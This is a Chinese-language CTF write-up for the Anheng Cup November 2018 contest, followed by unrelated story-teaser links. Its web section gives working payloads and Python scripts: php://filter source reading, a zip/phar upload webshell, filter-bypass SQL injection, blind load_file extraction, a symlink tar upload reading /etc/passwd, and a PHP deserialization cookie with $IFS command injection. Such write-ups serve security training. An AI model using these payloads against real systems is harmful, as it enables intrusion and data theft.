安恒杯2018年11月月赛WriteUp

Web

image_up

看到http://101.71.29.5:10007/index.php?page=login后,尝试用伪协议读login源码:

?page=php://filter/convert.base64-encode/resource=login
<?php
  if(isset($_POST['username'])&&isset($_POST['password'])){
    header("Location: index.php?page=upload");
    exit();
  }
?>

没啥东西,去读upload源码:

<?php
    $error = "";
    $exts = array("jpg","png","gif","jpeg");
    if(!empty($_FILES["image"]))
    {
        $temp = explode(".", $_FILES["image"]["name"]);
        $extension = end($temp);
        if((@$_upfileS["image"]["size"] < 102400))
        {
            if(in_array($extension,$exts)){
              $path = "uploads/".md5($temp[0].time()).".".$extension;
              move_uploaded_file($_FILES["image"]["tmp_name"], $path);
              $error = "ä¸�ä¼ æ��å��!";
            }
        else{
            $error = "ä¸�ä¼ å¤±è´¥ï¼�";
        }

        }else{
          $error = "æ��件è¿�大ï¼�ä¸�ä¼ å¤±è´¥ï¼�";
        }
    }

这里要通过phar://伪协议来getshell。
把写入一句话木马的shell.jpg压缩成shell.zip,再把shell.zip重命名为shell.jpg。上传上去即可。

文件上传名会被重命名为md5($temp[0].time())后的名字。$temp[0]time()可控。于是构造脚本去猜解:

import time
import requests
import hashlib


def md5(str1):
    m = hashlib.md5()
    m.update(str1.encode())
    return m.hexdigest()


url = "http://101.71.29.5:10007/"
files = {
    "image":("shell.jpg",open("shell.jpg","rb"))
}
print(files)
t = int(time.time())
requests.post(url=(url+"upload.php"),files=files)
for i in range(t-20,t+20):
    path = "uploads/"+md5("shell"+str(i))+".jpg"
    status = requests.get(url=url+path).status_code
    print(status)
    if status == 200:
        print(path)
        break

计算得到文件名,然后通过伪协议来读文件:

/index.php?page=zip://./uploads/6bff3b7c5c6fd2280dbd1b4d283e067b.jpg%23shell
post:cmd=phpinfo();

找一下就有flag。

好黑的黑名单


访问show.php?id=1,猜测id可能存在sql注入。
这里过滤了空格,用%0a来绕过,要用between and来代替逻辑操作符。单引号也被过滤,可以用16进制来绕过。构造payload:

?id=2%0aand%0a(select%0a(select%0adatabase())%0abetween%0a0x61%0aand%0a0x7a)

具体python脚本略。

interesting web

注册要填写ip,填写自己云主机的ip


注册登录后看到:

猜测要拿到admin的权限。
尝试找回密码。

找到cookie里的session值:eyJsb2dpbiI6dHJ1ZSwidG9rZW4iOnsiIGIiOiJPVFl6WTJaaE5HTmtNekJsTmpGbE9UVmxNR1V5TW1ReU56RTFORGs1WlRnPSJ9LCJ1c2VybmFtZSI6ImFkbWluIn0.Dt-qLg.jQhdDITh-UPM8E4DJRJISskZ9tw
eyJsb2dpbiI6dHJ1ZSwidG9rZW4iOnsiIGIiOiJPVFl6WTJaaE5HTmtNekJsTmpGbE9UVmxNR1V5TW1ReU56RTFORGs1WlRnPSJ9LCJ1c2VybmFtZSI6ImFkbWluIn0这段base64解密后可得:

{"login":true,"token":{" b":"OTYzY2ZhNGNkMzBlNjFlOTVlMGUyMmQyNzE1NDk5ZTg="},"username":"admin"}

里面的OTYzY2ZhNGNkMzBlNjFlOTVlMGUyMmQyNzE1NDk5ZTg=base64,解码后的963cfa4cd30e61e95e0e22d2715499e8就是token值。


成功修改了admin账户后登录。
先在自己的linux系统上创建个软连接文件:

$ ln -s /etc/passwd hack.jpg
$ cat hack.jpg


看到是可以读文件的。然后生成tar包。

$ tar -czvf hack.tar hack.jpg

上传:



访问/download/hack.jpg

另存为打开就可以看到flag。

ez sql

注册登录后,查看用户信息可以看到:


url变成了user.php?id=97。猜测可能存在sql注入。
这里要用sql读文件来注入绕过,payload:

user.php?id=1-(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870) like 0x3c25)
# 正常页面信息丢失

最后写脚本:

import requests
import string
import binascii


to_hex = lambda s : binascii.hexlify(s) # 把字符串都转换成16进制编码
char = '0123456789ABCDEF'
filename = '/var/www/html/index.php'
c = ''
url = 'http://101.71.29.5:10015/user/user.php?id=2-if(hex(load_file(0x%s))like(0x%s),1,2)'

for _ in range(10000):
    for i in char:
        payload = c + i + '%'
        _url = url % (to_hex(filename),to_hex(payload))
        res = requests.get(_url,cookies={'PHPSESSID':'ep0qqe8899uorseum9oq7lvb11'})
        if b'2018' in res.content:
            print '....' + payload
            c = c + i
            break

可以读到index.phpwaf.phpconfig/config.phpconfig/sys_config.php
最主要是index.php里这段:

<?php 
require_once('config/sys_config.php');
require_once('header.php');
if(isset($_COOKIE['CONFIG'])){
    $config = $_COOKIE['CONFIG'];
    require_once('config/config.php');
}
?>

可以看到$config传递了COOKIE里的CONFIG参数。
看到config.php里的$config = unserialize(base64_decode($config));,可以看到是PHP反序列化注入漏洞,并且可以通过call_user_func执行命令。
构造:

<?php
    $f = new Config();
    $f->filter=array('system');
    echo base64_encode(serialize($f));
?>
/index.php
cookie:CONFIG=Tzo2OiJDb25maWciOjM6e3M6MTQ6IgBDb25maWcAY29uZmlnIjtzOjA6IiI7czoxMjoiAENvbmZpZwBwYXRoIjtOO3M6NjoiZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX0=

可以看到waf.php里过滤了空格和/,构造$IFSexpr绕过。
最终payload:

/index.php?p=cat$IFS..`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`flag2333`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`flag.php
cookie:CONFIG=Tzo2OiJDb25maWciOjM6e3M6MTQ6IgBDb25maWcAY29uZmlnIjtzOjA6IiI7czoxMjoiAENvbmZpZwBwYXRoIjtOO3M6NjoiZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX0=

Misc

Numeric Password


百度110个数字密码,按照密码表对照得到content = [72,78,67,73,93,67,25,20,69,20,20,70,69,68,67,70,24,21,27,20,25,27,21,72,26,20,18,20,70,70,67,70,23,20,95]
这个又经过移位加密,数字范围在18~95,而ascii可见字段在33~126,则移位的范围为20~32,最后编写脚本可得:

content = [72,78,67,73,93,67,25,20,69,20,20,70,69,68,67,70,24,21,27,20,25,27,21,72,26,20,18,20,70,70,67,70,23,20,95]

enc = ''
for j in range(20,32):
    for i in content:
        enc += chr(i+j)
    print(enc)
    enc = ''

得到flag

Crypto

仿射密码

利用在线解密网站:https://www.wishingstarmoye.com/ctf/affinecipher
b=7,a=11即可得到flag。

简单的密码学2

CBC字节反转攻击。

参考链接

安恒杯 11月赛 WP

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,716评论 4 364
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,558评论 1 294
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,431评论 0 244
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,127评论 0 209
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,511评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,692评论 1 222
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,915评论 2 313
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,664评论 0 202
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,412评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,616评论 2 245
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,105评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,424评论 2 254
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,098评论 3 238
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,096评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,869评论 0 197
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,748评论 2 276
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,641评论 2 271